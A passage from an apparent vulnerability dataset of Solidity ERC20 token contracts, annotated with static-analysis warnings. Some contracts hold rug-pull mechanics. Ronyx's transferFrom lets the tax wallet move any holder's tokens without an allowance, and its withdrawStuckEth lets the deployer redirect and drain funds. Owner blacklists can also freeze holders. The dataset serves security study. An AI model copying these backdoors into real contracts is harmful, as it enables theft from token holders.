Recommendation for 840e701: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a800183): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a800183: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1288f1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1288f1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a800183\n\t\t// reentrancy-benign | ID: 1288f1c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a800183\n\t\t// reentrancy-benign | ID: 1288f1c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c703aac): BABYFWOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c703aac: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1288f1c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a800183\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 137d4bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 137d4bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c00a71a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c00a71a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 137d4bd\n\t\t\t\t// reentrancy-eth | ID: c00a71a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 137d4bd\n\t\t\t\t\t// reentrancy-eth | ID: c00a71a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: c00a71a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: c00a71a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c00a71a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 137d4bd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c00a71a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c00a71a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 137d4bd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 137d4bd\n\t\t// reentrancy-events | ID: a800183\n\t\t// reentrancy-benign | ID: 1288f1c\n\t\t// reentrancy-eth | ID: c00a71a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6d754e7): BABYFWOG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6d754e7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 137d4bd\n\t\t// reentrancy-events | ID: a800183\n\t\t// reentrancy-eth | ID: c00a71a\n\t\t// arbitrary-send-eth | ID: 6d754e7\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: de59702): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for de59702: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fef0a21): BABYFWOG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fef0a21: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 632c528): BABYFWOG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 632c528: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f3f0938): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f3f0938: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: de59702\n\t\t// reentrancy-eth | ID: f3f0938\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: de59702\n\t\t// unused-return | ID: fef0a21\n\t\t// reentrancy-eth | ID: f3f0938\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: de59702\n\t\t// unused-return | ID: 632c528\n\t\t// reentrancy-eth | ID: f3f0938\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: de59702\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f3f0938\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_1029.sol", "size_bytes": 20183, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ronyx is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 829ed08): Ronyx.deployer should be immutable \n\t// Recommendation for 829ed08: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: 44c1e09): Ronyx._initialBuyTax should be constant \n\t// Recommendation for 44c1e09: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: aec75b0): Ronyx._initialSellTax should be constant \n\t// Recommendation for aec75b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: a081629): Ronyx._finalBuyTax should be constant \n\t// Recommendation for a081629: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 573a0a0): Ronyx._finalSellTax should be constant \n\t// Recommendation for 573a0a0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2943f3): Ronyx._reduceBuyTaxAt should be constant \n\t// Recommendation for f2943f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7541a9d): Ronyx._reduceSellTaxAt should be constant \n\t// Recommendation for 7541a9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ronyx Cat\";\n\n string private constant _symbol = unicode\"RONYX\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bbdba9): Ronyx._maxTaxSwap should be constant \n\t// Recommendation for 2bbdba9: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n deployer = msg.sender;\n\n _taxWallet = payable(0x0EB032F42198688be2F904c3cCeB050528282d52);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 837e361): Ronyx.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 837e361: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ce781e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ce781e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f335a4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f335a4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9ce781e\n\t\t// reentrancy-benign | ID: f335a4f\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: 9ce781e\n\t\t\t// reentrancy-benign | ID: f335a4f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8efcb62): Ronyx._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8efcb62: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f335a4f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9ce781e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3abd63): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3abd63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fb35f20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fb35f20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: f3abd63\n\t\t\t\t\t// reentrancy-eth | ID: fb35f20\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: f3abd63\n\t\t\t\t// reentrancy-eth | ID: fb35f20\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fb35f20\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f3abd63\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fb35f20\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fb35f20\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f3abd63\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f3abd63\n\t\t// reentrancy-events | ID: 9ce781e\n\t\t// reentrancy-benign | ID: f335a4f\n\t\t// reentrancy-eth | ID: fb35f20\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0f47a82): Ronyx.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0f47a82: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f3abd63\n\t\t// reentrancy-events | ID: 9ce781e\n\t\t// reentrancy-eth | ID: fb35f20\n\t\t// arbitrary-send-eth | ID: 0f47a82\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a050396): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a050396: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ddea0d9): Ronyx.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ddea0d9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a2fc397): Ronyx.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a2fc397: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0fcd074): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0fcd074: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a050396\n\t\t// reentrancy-eth | ID: 0fcd074\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a050396\n\t\t// unused-return | ID: a2fc397\n\t\t// reentrancy-eth | ID: 0fcd074\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a050396\n\t\t// unused-return | ID: ddea0d9\n\t\t// reentrancy-eth | ID: 0fcd074\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a050396\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0fcd074\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 652bf6e): Ronyx.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 652bf6e: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 652bf6e\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}\n", "file_name": "solidity_code_10290.sol", "size_bytes": 18595, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fcbb2b1): EYE.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for fcbb2b1: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fd630b7): EYE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for fd630b7: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2316082): EYE.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 2316082: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 52f1566): EYE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 52f1566: Consider ordering multiplication before division.\ncontract EYE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private 